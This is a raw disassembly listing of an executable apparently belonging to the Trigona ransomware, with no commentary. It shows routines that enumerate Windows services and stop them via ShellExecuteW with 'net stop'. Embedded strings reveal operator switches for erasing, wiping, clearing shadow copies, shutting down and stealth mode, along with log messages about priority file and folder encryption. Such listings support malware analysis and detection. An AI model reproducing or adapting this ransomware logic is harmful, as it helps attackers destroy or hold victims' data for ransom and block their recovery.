File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    0044ff50
    0044ff50fn_44ff50:
    0044ff50push rbp
    0044ff51push rbx
    0044ff52sub rsp, 232
    0044ff59mov rbp, rsp
    0044ff5cmov [rbp+96], 0
    0044ff64mov [rbp+88], 0
    0044ff6cmov [rbp+80], 0
    0044ff74mov [rbp+128], 0
    0044ff7fmov [rbp+112], 0
    0044ff87mov [rbp+104], 0
    0044ff8fmov [rbp+120], 0
    0044ff97mov [rbp+184], 0
    0044ffa2mov [rbp+136], rbp
    0044ffa9nop
    0044ffaamov [rbp+176], 0
    0044ffb5lea rcx, [rip+920]
    0044ffbcxor edx, edx
    0044ffbemov r8l, 5
    0044ffc4call OpenSCManagerW
    0044ffc9mov [rbp+216], rax
    0044ffd0cmp [rbp+216], 0
    0044ffd8je 0x4502ba
    0044ffdenop
    0044ffdfmov [rbp+196], 0
    0044ffe9mov rcx, [rbp+216]
    0044fff0mov edx, 304
    0044fff5mov r8l, 1
    0044fffbxor r9, r9
    0044fffemov [rsp+32], 0
    00450006lea rax, [rbp+204]
    0045000dmov [rsp+40], rax
    00450012lea rax, [rbp+200]
    00450019mov [rsp+48], rax
    0045001elea rax, [rbp+196]
    00450025mov [rsp+56], rax
    0045002acall EnumServicesStatusA
    0045002ftest eax, eax
    00450031jne 0x4500fe
    00450037call GetLastError
    0045003ccmp eax, 122
    0045003fje 0x450052
    00450041call GetLastError
    00450046cmp eax, 234
    0045004cjne 0x4502aa
    00450052
    00450052loc_450052:
    00450052lea rcx, [rbp+184]
    00450059mov rdx, [rip-344]
    00450060mov r8l, 1
    00450066mov r9l, [rbp+204]
    0045006dcall fn_410430
    00450072mov rax, [rbp+184]
    00450079mov [rbp+176], rax
    00450080mov rax, [rbp+184]
    00450087mov [rbp+152], rax
    0045008ecmp [rbp+152], 0
    00450096je 0x4500aa
    00450098mov rax, [rbp+152]
    0045009fmov rax, [rax-8]
    004500a3mov [rbp+152], rax
    004500aa
    004500aaloc_4500aa:
    004500aamov rcx, [rbp+216]
    004500b1mov edx, 304
    004500b6mov r8l, 1
    004500bcmov r9, [rbp+176]
    004500c3mov eax, [rbp+152]
    004500c9mov [rsp+32], eax
    004500cdlea rax, [rbp+204]
    004500d4mov [rsp+40], rax
    004500d9lea rax, [rbp+200]
    004500e0mov [rsp+48], rax
    004500e5lea rax, [rbp+196]
    004500ecmov [rsp+56], rax
    004500f1call EnumServicesStatusW
    004500f6test eax, eax
    004500f8je 0x4502aa
    004500fe
    004500feloc_4500fe:
    004500fecmp [rbp+200], 0
    00450105jbe 0x45029b
    0045010bmov rax, [rbp+176]
    00450112mov [rbp+168], rax
    00450119xor eax, eax
    0045011bmov ecx, [rbp+200]
    00450121sub ecx, 1
    00450124mov [rbp+76], ecx
    00450127mov [rbp+208], eax
    0045012dmov ecx, [rbp+76]
    00450130cmp [rbp+208], ecx
    00450136jg 0x45029a
    0045013cmov ecx, [rbp+76]
    0045013fsub ecx, eax
    00450141add ecx, 1
    00450144mov [rbp+76], ecx
    00450147
    00450147loc_450147:
    00450147nop
    00450148xor eax, eax
    0045014amov rcx, [rip+0x13e6f]
    00450151mov rcx, [rcx+72]
    00450155mov ebx, [rcx+16]
    00450158sub ebx, 1
    0045015bmov [rbp+212], eax
    00450161cmp [rbp+212], ebx
    00450167jg 0x450273
    0045016dsub ebx, eax
    0045016fadd ebx, 1
    00450172
    00450172loc_450172:
    00450172lea rcx, [rbp+120]
    00450176mov rax, [rip+0x13e43]
    0045017dmov rax, [rax+72]
    00450181mov rax, [rax+8]
    00450185movsxd rdx, [rbp+212]
    0045018cmov rdx, [rax+8*rdx]
    00450190call fn_40d850
    00450195lea rcx, [rbp+128]
    0045019cmov rdx, [rbp+120]
    004501a0call fn_4220f0
    004501a5lea rcx, [rbp+104]
    004501a9mov rax, [rbp+168]
    004501b0mov rdx, [rax]
    004501b3call fn_40d0d0
    004501b8lea rcx, [rbp+112]
    004501bcmov rdx, [rbp+104]
    004501c0call fn_4220f0
    004501c5mov rcx, [rbp+128]
    004501ccmov rdx, [rbp+112]
    004501d0call fn_40d640
    004501d5test eax, eax
    004501d7jne 0x450261
    004501ddmov rax, [rbp+168]
    004501e4cmp [rax+20], 4
    004501e8jne 0x450261
    004501ealea rcx, [rbp+80]
    004501eemov rax, [rbp+168]
    004501f5mov rdx, [rax]
    004501f8call fn_40d0d0
    004501fdlea rcx, [rbp+88]
    00450201mov rdx, [rbp+80]
    00450205call fn_422140
    0045020alea rcx, [rbp+96]
    0045020emov edx, 3
    00450213lea r8, [rip+338]
    0045021amov r9, [rbp+88]
    0045021elea rax, [rip+347]
    00450225mov [rsp+32], rax
    0045022acall fn_40d530
    0045022fmov rcx, [rbp+96]
    00450233call fn_40d180
    00450238xor ecx, ecx
    0045023alea rdx, [rip+277]
    00450241lea r8, [rip+280]
    00450248mov r9, rax
    0045024bmov [rsp+32], 0
    00450254mov [rsp+40], 0
    0045025ccall ShellExecuteW
    00450261
    00450261loc_450261:
    00450261add [rbp+212], 1
    00450268sub ebx, 1
    0045026btest ebx, ebx
    0045026djne 0x450172
    00450273
    00450273loc_450273:
    00450273nop
    00450274jmp 0x45027e
    00450276
    00450276 90 90 e8 a3 ae fb ff 90 ........
    0045027e
    0045027eloc_45027e:
    0045027eadd [rbp+168], 48
    00450286mov eax, [rbp+76]
    00450289sub eax, 1
    0045028cmov [rbp+76], eax
    0045028fmov eax, [rbp+76]
    00450292test eax, eax
    00450294jne 0x450147
    0045029a
    0045029aloc_45029a:
    0045029anop
    0045029b
    0045029bloc_45029b:
    0045029bnop
    0045029cmov rcx, [rbp+216]
    004502a3call CloseServiceHandle
    004502a8jmp 0x4502ba
    004502aa
    004502aaloc_4502aa:
    004502aaxor ecx, ecx
    004502acmov rdx, [rbp+136]
    004502b3call fn_450300
    004502b8jmp 0x4502bb
    004502ba
    004502baloc_4502ba:
    004502banop
    004502bb
    004502bbloc_4502bb:
    004502bblea rcx, [rbp+80]
    004502bfmov edx, 7
    004502c4call fn_40be70
    004502c9lea rcx, [rbp+184]
    004502d0mov rdx, [rip-975]
    004502d7call fn_410600
    004502dclea rsp, [rbp+232]
    004502e3pop rbx
    004502e4pop rbp
    004502e5ret
    0044ff50
    004502e6
    004502e6 48 90 48 8d 04 05 00 00 00 00 H.H.......
    004502f0
    004502f0fn_4502f0:
    004502f0sub rsp, 40
    004502f4call fn_40b050
    004502f9add rsp, 40
    004502fdret
    004502f0
    004502fe
    004502fe 48 90 H.
    00450300
    00450300fn_450300:
    00450300push rbp
    00450301sub rsp, 32
    00450305mov rbp, rsp
    00450308mov rcx, [rdx+216]
    0045030fcall CloseServiceHandle
    00450314lea rsp, [rbp+32]
    00450318pop rbp
    00450319ret
    00450300
    0045031a
    0045031a 64 48 8d 44 20 00 dH.D .
    00450320
    00450320fn_450320:
    00450320push rbp
    00450321push rbx
    00450322sub rsp, 40
    00450326mov rbp, rsp
    00450329mov rbx, rdx
    0045032clea rcx, [rbx+80]
    00450330mov edx, 7
    00450335call fn_40be70
    0045033alea rcx, [rbx+184]
    00450341mov rdx, [rip-1088]
    00450348call fn_410600
    0045034dlea rsp, [rbp+40]
    00450351pop rbx
    00450352pop rbp
    00450353ret
    00450320
    00450354
    00450354 00 00 6f 00 70 00 65 00 6e 00 00 00 ..o.p.e.n...
    00450360 6e 00 65 00 74 00 00 00 0c 00 00 00 73 00 74 00 n.e.t.......s.t.
    00450370 6f 00 70 00 20 00 22 00 00 00 00 00 02 00 00 00 o.p. .".........
    00450380 22 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc "...............
    00450390
    00450390fn_450390:
    00450390sub rsp, 40
    00450394jmp 0x4503aa
    00450396
    00450396loc_450396:
    00450396call fn_44fcc0
    0045039bcall fn_44ff50
    004503a0mov ecx, 1000
    004503a5call Sleep
    004503aa
    004503aaloc_4503aa:
    004503aamov rax, [rip+0x13c67]
    004503b1cmp [rax], 0
    004503b4jne 0x450396
    004503b6add rsp, 40
    004503baret
    00450390
    004503bb
    004503bb // align 0x10
    004503c0
    004503c0Unit59.finalization:
    004503c0add [rip+0x203e1], 1
    004503c7cmp [rip+0x203da], 0
    004503ceret
    004503c0
    004503cf
    004503cf // align 0x10
    004503d0
    004503d0Unit59.initialization:
    004503d0sub [rip+0x203d1], 1
    004503d7cmp [rip+0x203ca], -1
    004503deret
    004503d0
    004503df
    004503df // align 0x10
    004503e0
    004503e0fn_4503e0:
    004503e0push rbp
    004503e1sub rsp, 48
    004503e5mov rbp, rsp
    004503e8mov [rbp+64], rcx
    004503ecmov rcx, [rbp+64]
    004503f0call fn_40bec0
    004503f5nop
    004503f6xor eax, eax
    004503f8mov [rbp+47], al
    004503fbmov rcx, [rbp+64]
    004503fflea rdx, [rip+654]
    00450406call fn_40dc90
    0045040btest eax, eax
    0045040dje 0x45064f
    00450413mov rcx, [rbp+64]
    00450417lea rdx, [rip+650]
    0045041ecall fn_40dc90
    00450423test eax, eax
    00450425je 0x45064f
    0045042bmov rcx, [rbp+64]
    0045042flea rdx, [rip+654]
    00450436call fn_40dc90
    0045043btest eax, eax
    0045043dje 0x45064f
    00450443mov rcx, [rbp+64]
    00450447lea rdx, [rip+654]
    0045044ecall fn_40dc90
    00450453test eax, eax
    00450455je 0x45064f
    0045045bmov rcx, [rbp+64]
    0045045flea rdx, [rip+658]
    00450466call fn_40dc90
    0045046btest eax, eax
    0045046dje 0x45064f
    00450473mov rcx, [rbp+64]
    00450477lea rdx, [rip+662]
    0045047ecall fn_40dc90
    00450483test eax, eax
    00450485je 0x45064f
    0045048bmov rcx, [rbp+64]
    0045048flea rdx, [rip+662]
    00450496call fn_40dc90
    0045049btest eax, eax
    0045049dje 0x45064f
    004504a3mov rcx, [rbp+64]
    004504a7lea rdx, [rip+666]
    004504aecall fn_40dc90
    004504b3test eax, eax
    004504b5je 0x45064f
    004504bbmov rcx, [rbp+64]
    004504bflea rdx, [rip+678]
    004504c6call fn_40dc90
    004504cbtest eax, eax
    004504cdje 0x45064f
    004504d3mov rcx, [rbp+64]
    004504d7lea rdx, [rip+686]
    004504decall fn_40dc90
    004504e3test eax, eax
    004504e5je 0x45064f
    004504ebmov rcx, [rbp+64]
    004504eflea rdx, [rip+694]
    004504f6call fn_40dc90
    004504fbtest eax, eax
    004504fdje 0x45064f
    00450503mov rcx, [rbp+64]
    00450507lea rdx, [rip+690]
    0045050ecall fn_40dc90
    00450513test eax, eax
    00450515je 0x45064f
    0045051bmov rcx, [rbp+64]
    0045051flea rdx, [rip+690]
    00450526call fn_40dc90
    0045052btest eax, eax
    0045052dje 0x45064f
    00450533mov rcx, [rbp+64]
    00450537lea rdx, [rip+694]
    0045053ecall fn_40dc90
    00450543test eax, eax
    00450545je 0x45064f
    0045054bmov rcx, [rbp+64]
    0045054flea rdx, [rip+694]
    00450556call fn_40dc90
    0045055btest eax, eax
    0045055dje 0x45064f
    00450563mov rcx, [rbp+64]
    00450567lea rdx, [rip+698]
    0045056ecall fn_40dc90
    00450573test eax, eax
    00450575je 0x45064f
    0045057bmov rcx, [rbp+64]
    0045057flea rdx, [rip+714]
    00450586call fn_40dc90
    0045058btest eax, eax
    0045058dje 0x45064f
    00450593mov rcx, [rbp+64]
    00450597lea rdx, [rip+734]
    0045059ecall fn_40dc90
    004505a3test eax, eax
    004505a5je 0x45064f
    004505abmov rcx, [rbp+64]
    004505aflea rdx, [rip+734]
    004505b6call fn_40dc90
    004505bbtest eax, eax
    004505bdje 0x45064f
    004505c3mov rcx, [rbp+64]
    004505c7lea rdx, [rip+738]
    004505cecall fn_40dc90
    004505d3test eax, eax
    004505d5je 0x45064f
    004505d7mov rcx, [rbp+64]
    004505dblea rdx, [rip+754]
    004505e2call fn_40dc90
    004505e7test eax, eax
    004505e9je 0x45064f
    004505ebmov rcx, [rbp+64]
    004505eflea rdx, [rip+762]
    004505f6call fn_40dc90
    004505fbtest eax, eax
    004505fdje 0x45064f
    004505ffmov rcx, [rbp+64]
    00450603lea rdx, [rip+786]
    0045060acall fn_40dc90
    0045060ftest eax, eax
    00450611je 0x45064f
    00450613mov rcx, [rbp+64]
    00450617lea rdx, [rip+798]
    0045061ecall fn_40dc90
    00450623test eax, eax
    00450625je 0x45064f
    00450627mov rcx, [rbp+64]
    0045062blea rdx, [rip+802]
    00450632call fn_40dc90
    00450637test eax, eax
    00450639je 0x45064f
    0045063bmov rcx, [rbp+64]
    0045063flea rdx, [rip+814]
    00450646call fn_40dc90
    0045064btest eax, eax
    0045064djne 0x450654
    0045064f
    0045064floc_45064f:
    0045064fmov al, 1
    00450651mov [rbp+47], al
    00450654
    00450654loc_450654:
    00450654nop
    00450655lea rcx, [rbp+64]
    00450659call fn_40bcf0
    0045065emovzx rax, [rbp+47]
    00450663lea rsp, [rbp+48]
    00450667pop rbp
    00450668ret
    004503e0
    00450669
    00450669 48 8d 80 00 00 00 00 H......
    00450670
    00450670fn_450670:
    00450670push rbp
    00450671sub rsp, 32
    00450675mov rbp, rsp
    00450678lea rcx, [rdx+64]
    0045067ccall fn_40bcf0
    00450681lea rsp, [rbp+32]
    00450685pop rbp
    00450686ret
    00450670
    00450687
    00450687 00 b0 04 02 00 ff ff ff ff .........
    00450690 02 00 00 00 2f 00 72 00 00 00 00 00 b0 04 02 00 ..../.r.........
    004506a0 ff ff ff ff 06 00 00 00 2f 00 73 00 6c 00 65 00 ......../.s.l.e.
    004506b0 65 00 70 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.p.............
    004506c0 05 00 00 00 2f 00 66 00 75 00 6c 00 6c 00 00 00 ..../.f.u.l.l...
    004506d0 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 64 00 ............/.d.
    004506e0 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
    004506f0 ff ff ff ff 06 00 00 00 2f 00 6c 00 6f 00 67 00 ......../.l.o.g.
    00450700 5f 00 66 00 00 00 00 00 b0 04 02 00 ff ff ff ff _.f.............
    00450710 05 00 00 00 2f 00 66 00 61 00 73 00 74 00 00 00 ..../.f.a.s.t...
    00450720 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 65 00 ............/.e.
    00450730 72 00 61 00 73 00 65 00 00 00 00 00 b0 04 02 00 r.a.s.e.........
    00450740 ff ff ff ff 0b 00 00 00 2f 00 69 00 73 00 5f 00 ......../.i.s._.
    00450750 74 00 65 00 73 00 74 00 69 00 6e 00 67 00 00 00 t.e.s.t.i.n.g...
    00450760 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
    00450770 65 00 73 00 74 00 5f 00 63 00 69 00 64 00 00 00 e.s.t._.c.i.d...
    00450780 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
    00450790 65 00 73 00 74 00 5f 00 76 00 69 00 64 00 00 00 e.s.t._.v.i.d...
    004507a0 b0 04 02 00 ff ff ff ff 02 00 00 00 2f 00 70 00 ............/.p.
    004507b0 00 00 00 00 b0 04 02 00 ff ff ff ff 05 00 00 00 ................
    004507c0 2f 00 70 00 61 00 74 00 68 00 00 00 b0 04 02 00 /.p.a.t.h.......
    004507d0 ff ff ff ff 07 00 00 00 2f 00 21 00 6c 00 6f 00 ......../.!.l.o.
    004507e0 63 00 61 00 6c 00 00 00 b0 04 02 00 ff ff ff ff c.a.l...........
    004507f0 05 00 00 00 2f 00 21 00 6c 00 61 00 6e 00 00 00 ..../.!.l.a.n...
    00450800 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 73 00 ............/.s.
    00450810 68 00 64 00 77 00 6e 00 00 00 00 00 b0 04 02 00 h.d.w.n.........
    00450820 ff ff ff ff 0d 00 00 00 2f 00 61 00 6c 00 6c 00 ......../.a.l.l.
    00450830 6f 00 77 00 5f 00 73 00 79 00 73 00 74 00 65 00 o.w._.s.y.s.t.e.
    00450840 6d 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 m...............
    00450850 2f 00 21 00 63 00 6c 00 65 00 61 00 72 00 5f 00 /.!.c.l.e.a.r._.
    00450860 73 00 68 00 61 00 64 00 6f 00 77 00 00 00 00 00 s.h.a.d.o.w.....
    00450870 b0 04 02 00 ff ff ff ff 05 00 00 00 2f 00 77 00 ............/.w.
    00450880 69 00 70 00 65 00 00 00 b0 04 02 00 ff ff ff ff i.p.e...........
    00450890 06 00 00 00 2f 00 64 00 65 00 70 00 74 00 68 00 ..../.d.e.p.t.h.
    004508a0 00 00 00 00 b0 04 02 00 ff ff ff ff 0b 00 00 00 ................
    004508b0 2f 00 21 00 70 00 72 00 65 00 72 00 65 00 6e 00 /.!.p.r.e.r.e.n.
    004508c0 61 00 6d 00 65 00 00 00 b0 04 02 00 ff ff ff ff a.m.e...........
    004508d0 07 00 00 00 2f 00 64 00 65 00 6c 00 65 00 74 00 ..../.d.e.l.e.t.
    004508e0 65 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 e...............
    004508f0 2f 00 63 00 6c 00 65 00 61 00 72 00 5f 00 65 00 /.c.l.e.a.r._.e.
    00450900 78 00 63 00 6c 00 75 00 64 00 65 00 00 00 00 00 x.c.l.u.d.e.....
    00450910 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 70 00 ............/.p.
    00450920 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 00 00 r.i.o.r.i.t.y...
    00450930 b0 04 02 00 ff ff ff ff 04 00 00 00 2f 00 69 00 ............/.i.
    00450940 70 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff p.s.............
    00450950 08 00 00 00 2f 00 73 00 74 00 65 00 61 00 6c 00 ..../.s.t.e.a.l.
    00450960 74 00 68 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.h.............
    00450970 02 00 00 00 2f 00 65 00 00 00 cc cc cc cc cc cc ..../.e.........
    00450980
    00450980fn_450980:
    00450980push rbp
    00450981push rsi
    00450982push rbx
    00450983sub rsp, 96
    00450987mov rbp, rsp
    0045098amov [rbp+56], 0
    00450992mov [rbp+48], 0
    0045099amov [rbp+72], 0
    004509a2mov [rbp+64], 0
    004509aamov [rbp+88], 0
    004509b2nop
    004509b3mov rax, [rip+0x13606]
    004509bamov rax, [rax+768]
    004509c1cmp [rax+16], 0
    004509c5je 0x450c1a
    004509cblea rcx, [rbp+88]
    004509cfmov rax, [rip+0x134d2]
    004509d6mov rdx, [rax]
    004509d9call fn_40d820
    004509demov rax, [rip+0x135db]
    004509e5cmp [rax+308], 0
    004509ecje 0x450a0c
    004509eexor ecx, ecx
    004509f0mov dl, 1
    004509f2call fn_439060
    004509f7lea rcx, [rip+670]
    004509femov dl, 1
    00450a00call fn_439060
    00450a05xor ecx, ecx
    00450a07call fn_4392a0
    00450a0c
    00450a0cloc_450a0c:
    00450a0cxor eax, eax
    00450a0emov rcx, [rip+0x135ab]
    00450a15mov rcx, [rcx+768]
    00450a1cmov esi, [rcx+16]
    00450a1fsub esi, 1
    00450a22mov ebx, eax
    00450a24cmp ebx, esi
    00450a26jg 0x450bda
    00450a2csub esi, eax
    00450a2eadd esi, 1
    00450a31
    00450a31loc_450a31:
    00450a31mov rcx, [rip+0x13470]
    00450a38mov rax, [rip+0x13581]
    00450a3fmov rax, [rax+768]
    00450a46mov rax, [rax+8]
    00450a4amovsxd rdx, ebx
    00450a4dmov rdx, [rax+8*rdx]
    00450a51call fn_40d850
    00450a56mov rax, [rip+0x13563]
    00450a5dmov [rax+317], 0
    00450a64mov rax, [rip+0x1343d]
    00450a6bmov rcx, [rax]
    00450a6ecall fn_42fe80
    00450a73test al, al
    00450a75je 0x450add
    00450a77mov rax, [rip+0x13542]
    00450a7ecmp [rax+308], 0
    00450a85je 0x450ac9
    00450a87xor ecx, ecx
    00450a89mov dl, 1
    00450a8bcall fn_439060
    00450a90lea rcx, [rbp+72]
    00450a94lea rdx, [rip+601]
    00450a9bmov rax, [rip+0x13406]
    00450aa2mov r8, [rax]
    00450aa5call fn_40d230
    00450aaalea rcx, [rbp+64]
    00450aaemov rdx, [rbp+72]
    00450ab2call fn_40d820
    00450ab7mov rcx, [rbp+64]
    00450abbmov dl, 1
    00450abdcall fn_439060
    00450ac2xor ecx, ecx
    00450ac4call fn_4392a0
    00450ac9
    00450ac9loc_450ac9:
    00450ac9mov rax, [rip+0x133d8]
    00450ad0mov rcx, [rax]
    00450ad3call fn_44e970
    00450ad8jmp 0x450bcc
    00450add
    00450addloc_450add:
    00450addmov rax, [rip+0x134dc]
    00450ae4cmp [rax+307], 0
    00450aebjne 0x450b41
    00450aedmov rax, [rip+0x134cc]
    00450af4cmp [rax+308], 0
    00450afbjne 0x450b41
    00450afdjmp 0x450b09
    00450aff
    00450affloc_450aff:
    00450affmov ecx, 10000
    00450b04call Sleep
    00450b09
    00450b09loc_450b09:
    00450b09xor ecx, ecx
    00450b0bxor edx, edx
    00450b0dlea r8, [rip-6932]
    00450b14xor r9, r9
    00450b17mov [rsp+32], 0
    00450b1fmov rax, [rip+0x133f2]
    00450b26mov [rsp+40], rax
    00450b2bcall fn_40bb20
    00450b30test rax, rax
    00450b33je 0x450aff
    00450b35mov ecx, 5000
    00450b3acall Sleep
    00450b3fjmp 0x450b4f
    00450b41
    00450b41loc_450b41:
    00450b41mov rax, [rip+0x13478]
    00450b48mov [rax+317], 1
    00450b4f
    00450b4floc_450b4f:
    00450b4fmov rax, [rip+0x1346a]
    00450b56cmp [rax+308], 0
    00450b5dje 0x450ba1
    00450b5fxor ecx, ecx
    00450b61mov dl, 1
    00450b63call fn_439060
    00450b68lea rcx, [rbp+56]
    00450b6clea rdx, [rip+457]
    00450b73mov rax, [rip+0x1332e]
    00450b7amov r8, [rax]
    00450b7dcall fn_40d230
    00450b82lea rcx, [rbp+48]
    00450b86mov rdx, [rbp+56]
    00450b8acall fn_40d820
    00450b8fmov rcx, [rbp+48]
    00450b93mov dl, 1
    00450b95call fn_439060
    00450b9axor ecx, ecx
    00450b9ccall fn_4392a0
    00450ba1
    00450ba1loc_450ba1:
    00450ba1mov rax, [rip+0x13300]
    00450ba8mov rcx, [rax]
    00450babcall fn_44ec90
    00450bb0jmp 0x450bbc
    00450bb2
    00450bb2loc_450bb2:
    00450bb2mov ecx, 1000
    00450bb7call Sleep
    00450bbc
    00450bbcloc_450bbc:
    00450bbcmov rax, [rip+0x133fd]
    00450bc3cmp [rax+317], 0
    00450bcaje 0x450bb2
    00450bcc
    00450bccloc_450bcc:
    00450bccadd ebx, 1
    00450bcfsub esi, 1
    00450bd2test esi, esi
    00450bd4jne 0x450a31
    00450bda
    00450bdaloc_450bda:
    00450bdanop
    00450bdbmov rax, [rip+0x133de]
    00450be2cmp [rax+308], 0
    00450be9je 0x450c09
    00450bebxor ecx, ecx
    00450bedmov dl, 1
    00450befcall fn_439060
    00450bf4lea rcx, [rip+405]
    00450bfbmov dl, 1
    00450bfdcall fn_439060
    00450c02xor ecx, ecx
    00450c04call fn_4392a0
    00450c09
    00450c09loc_450c09:
    00450c09mov rcx, [rip+0x13298]
    00450c10mov rdx, [rbp+88]
    00450c14call fn_40d850
    00450c19nop
    00450c1a
    00450c1aloc_450c1a:
    00450c1alea rcx, [rbp+48]
    00450c1ecall fn_40bcf0
    00450c23lea rcx, [rbp+56]
    00450c27call fn_40bd90
    00450c2clea rcx, [rbp+64]
    00450c30call fn_40bcf0
    00450c35lea rcx, [rbp+72]
    00450c39call fn_40bd90
    00450c3elea rcx, [rbp+88]
    00450c42call fn_40bcf0
    00450c47lea rsp, [rbp+96]
    00450c4bpop rbx
    00450c4cpop rsi
    00450c4dpop rbp
    00450c4eret
    00450980
    00450c4f
    00450c4f // align 0x10
    00450c50
    00450c50fn_450c50:
    00450c50push rbp
    00450c51push rbx
    00450c52sub rsp, 40
    00450c56mov rbp, rsp
    00450c59mov rbx, rdx
    00450c5clea rcx, [rbx+48]
    00450c60call fn_40bcf0
    00450c65lea rcx, [rbx+56]
    00450c69call fn_40bd90
    00450c6elea rcx, [rbx+64]
    00450c72call fn_40bcf0
    00450c77lea rcx, [rbx+72]
    00450c7bcall fn_40bd90
    00450c80lea rcx, [rbx+88]
    00450c84call fn_40bcf0
    00450c89lea rsp, [rbp+40]
    00450c8dpop rbx
    00450c8epop rbp
    00450c8fret
    00450c50
    00450c90
    00450c90 b0 04 02 00 ff ff ff ff 28 00 00 00 53 00 74 00 ........(...S.t.
    00450ca0 61 00 72 00 74 00 20 00 6f 00 66 00 20 00 70 00 a.r.t. .o.f. .p.
    00450cb0 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 r.i.o.r.i.t.y. .
    00450cc0 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 e.n.c.r.y.p.t.i.
    00450cd0 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 72 00 o.n. .o.r. .e.r.
    00450ce0 61 00 73 00 69 00 6e 00 67 00 2e 00 00 00 00 00 a.s.i.n.g.......
    00450cf0 40 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 @...T.r.y. .t.o.
    00450d00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
    00450d10 20 00 66 00 69 00 6c 00 65 00 20 00 28 00 70 00 .f.i.l.e. .(.p.
    00450d20 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 29 00 r.i.o.r.i.t.y.).
    00450d30 3a 00 20 00 00 00 00 00 44 00 00 00 54 00 72 00 :. .....D...T.r.
    00450d40 79 00 20 00 74 00 6f 00 20 00 65 00 6e 00 63 00 y. .t.o. .e.n.c.
    00450d50 72 00 79 00 70 00 74 00 20 00 66 00 6f 00 6c 00 r.y.p.t. .f.o.l.
    00450d60 64 00 65 00 72 00 20 00 28 00 70 00 72 00 69 00 d.e.r. .(.p.r.i.
    00450d70 6f 00 72 00 69 00 74 00 79 00 29 00 3a 00 20 00 o.r.i.t.y.).:. .
    00450d80 00 00 00 00 b0 04 02 00 ff ff ff ff 29 00 00 00 ............)...
    00450d90 50 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 P.r.i.o.r.i.t.y.
    00450da0 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
    00450db0 69 00 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 i.o.n. .o.r. .e.
    00450dc0 72 00 61 00 73 00 69 00 6e 00 67 00 20 00 63 00 r.a.s.i.n.g. .c.
    00450dd0 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
    00450de0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
    00450df0
    00450df0fn_450df0:
    00450df0push rbp
    00450df1sub rsp, 64
    00450df5mov rbp, rsp
    00450df8mov [rbp+32], 0
    00450e00mov [rbp+40], rbp
    00450e04mov [rbp+80], rcx
    00450e08mov [rbp+88], rdx
    00450e0cmov [rbp+96], r8
    00450e10mov [rbp+104], r9
    00450e14lea rcx, [rbp+80]
    00450e18call fn_40bf00
    00450e1dnop
    00450e1enop
    00450e1flea rcx, [rbp+32]
    00450e23mov rdx, [rbp+80]
    00450e27call fn_40d820
    00450e2cmov rcx, [rbp+32]
    00450e30call fn_422950
    00450e35mov [rbp+56], rax
    00450e39jmp 0x450e4b
    00450e3b
    00450e3b 90 90 48 8b 45 ..H.E
    00450e40 58 48 89 45 38 e8 d6 a2 fb ff 90 XH.E8......
    00450e4b
    00450e4bloc_450e4b:
    00450e4bmov rax, [rbp+56]
    00450e4fcmp rax, [rbp+96]
    00450e53jge 0x450e5d
    00450e55mov rax, [rbp+88]
    00450e59mov [rbp+56], rax
    00450e5d
    00450e5dloc_450e5d:
    00450e5dmov rax, [rbp+56]
    00450e61cmp rax, [rbp+104]
    00450e65jle 0x450e6f
    00450e67mov rax, [rbp+88]
    00450e6bmov [rbp+56], rax
    00450e6f
    00450e6floc_450e6f:
    00450e6fnop
    00450e70lea rcx, [rbp+32]
    00450e74call fn_40bcf0
    00450e79lea rcx, [rbp+80]
    00450e7dcall fn_40bd90
    00450e82mov rax, [rbp+56]
    00450e86lea rsp, [rbp+64]
    00450e8apop rbp
    00450e8bret
    00450df0
    00450e8c
    00450e8c 48 8d 40 00 H.@.
    00450e90
    00450e90fn_450e90:
    00450e90sub rsp, 40
    00450e94call fn_40b050
    00450e99add rsp, 40
    00450e9dret
    00450e90
    00450e9e
    00450e9e 48 90 H.
    00450ea0
    00450ea0fn_450ea0:
    00450ea0push rbp
    00450ea1push rbx
    00450ea2sub rsp, 40
    00450ea6mov rbp, rsp
    00450ea9mov rbx, rdx
    00450eaclea rcx, [rbx+32]
    00450eb0call fn_40bcf0
    00450eb5lea rcx, [rbx+80]
    00450eb9call fn_40bd90
    00450ebelea rsp, [rbp+40]
    00450ec2pop rbx
    00450ec3pop rbp
    00450ec4ret
    00450ea0
    00450ec5
    00450ec5 // align 0x10
    00450ed0
    00450ed0fn_450ed0:
    00450ed0push rbp
    00450ed1sub rsp, 48
    00450ed5mov rbp, rsp
    00450ed8mov [rbp+40], 0
    00450ee0nop
    00450ee1lea rcx, [rbp+40]
    00450ee5mov edx, 4
    00450eeacall fn_433160
    00450eeflea rcx, [rbp+40]
    00450ef3call fn_430a00
    00450ef8mov rcx, [rip+0x13349]
    00450effmov [rcx], eax
    00450f01lea rcx, [rbp+40]
    00450f05mov rdx, [rip-0x220ec]
    00450f0ccall fn_410600
    00450f11nop
    00450f12lea rcx, [rbp+40]
    00450f16mov rdx, [rip-0x220fd]
    00450f1dcall fn_410600
    00450f22lea rsp, [rbp+48]
    00450f26pop rbp
    00450f27ret
    00450ed0
    00450f28
